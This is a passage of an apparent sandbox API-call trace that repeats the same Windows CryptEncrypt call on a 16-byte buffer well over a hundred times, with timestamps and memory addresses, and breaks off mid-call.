CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.784] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.785] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.786] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.787] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, 